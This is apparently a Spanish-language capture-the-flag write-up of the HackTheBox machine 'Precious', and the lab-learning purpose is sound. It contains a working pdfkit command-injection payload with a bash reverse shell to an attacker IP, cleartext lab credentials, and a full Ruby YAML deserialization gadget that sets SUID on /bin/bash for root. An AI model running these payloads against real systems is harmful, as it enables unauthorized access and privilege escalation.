6 min to read
Precious - HackTheBox
🤔En esta ocasión resolveremos una máquina Easy de la plataforma HackTheBox, en la que aprovecharemos una vulnerabilidad de pdfkit para ganar acceso y escalaremos privilegios a través de yaml deserialization en un archivo ruby🤔.
Un pequeño INDICE
Reconocimiento #
Como de costumbre lo primero es comenzar con el reconocimiento de puertos usando la herramienta nmap.
# Escaneo de puertos nmap
-------------------------
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
La máquina tiene dos puertos abiertos, el puerto 80 y el puerto 22, pero necesito averiguar más información sobre ellos, así como la versión que corren cada uno o lo que se ejecuta en cada puerto.
Esto lo hago a través de un escaneo nmap un poco más avanzado.
# Escaneo nmap más detallado
----------------------------
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Dominio
precious.htb
.
Añado el dominio al archivo hosts de mi máquina local.
Accedo al dominio desde el navegador para ver que hay en el servidor web.
Al acceder encuentro lo siguiente:
Pruebo a introducir una url con mi dirección ip de la interfaz tun0 (es decir, la de la VPN).
Pero me arroja un error:
Se me ocurre ejecutar un servidor de python y volver a probar lo mismo.
# Python3 server
----------------
python3 -m http.server 8081
Y al darle a submit se me abre la siguiente ventana.
Descargo el archivo pdf y lo analizo con la herramienta exiftool
.
Al analizar el archivo puedo ver que ha sido generado por pdfkit v0.8.6
.
Explotación #
Por lo que busco en google información al respecto en busca de vulnerabilidad existentes.
Y buscando encuentro el siguiente recurso
# En el enlace podemos ver un ejemplo de explotación.
http://example.com/?name=#{'%20`sleep 5`'}
Por lo que si sustituyo la parte sleep por una reverse shell podría obtener acceso al sistema.
# Reverse shell
http://10.10.14.27:8081/?name=#{'%20`bash -c "bash -i >& /dev/tcp/10.10.14.27/443 0>&1"`'}
Introduzco la reverse shell en el servidor web y obtengo la conexión en mi oyente de netcat.
Enumerando un poco puedo ver que existe un directorio bajo el nombre de .bundle donde encuentro unas credenciales del usuario harry.
bash-5.1$ cat config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
Uso las credenciales para conectarme a través de ssh.
-bash-5.1$ id
uid=1000(henry) gid=1000(henry) groups=1000(henry)
-bash-5.1$ whoami
henry
-bash-5.1$ hostname
precious
Escalada de Privilegios #
A continuación toca escalar privilegios, por lo que ejecuto el comando
sudo -l
.
-bash-5.1$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Como se puede apreciar, puedo ejecutar como root sin contraseña el binario ruby
y el fichero update_dependencies.rb
.
Primero leo el archivo update_dependencies.rb
y este es su contenido.
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
El script carga el archivo dependencies.yml
por lo que al verlo se me ocurre que podría ser vulnerable a yaml deserialization.
Por lo que busco información al respecto y encuentro este artículo.
Creo un archivo llamado dependencies.yml en la ruta /home/harry con el siguiente contenido:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod u+s /bin/bash
method_id: :resolve
Añado la línea git_set: chmod u+s /bin/bash
para que al ejecutar el archivo update_dependencies.rb
cargue el archivo dependencies.yml
y ejecute el comando que he introducido.
Lo ejecuto:
-bash-5.1$ sudo /usr/bin/ruby /opt/update_dependencies.rb
Una vez ejecutado:
-bash-5.1$ bash -p
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) egid=0(root) groups=0(root),1000(henry)
bash-5.1# whoami
root
Y listo, ya he escalado privilegios al usuario root.
Máquina pwneada!!!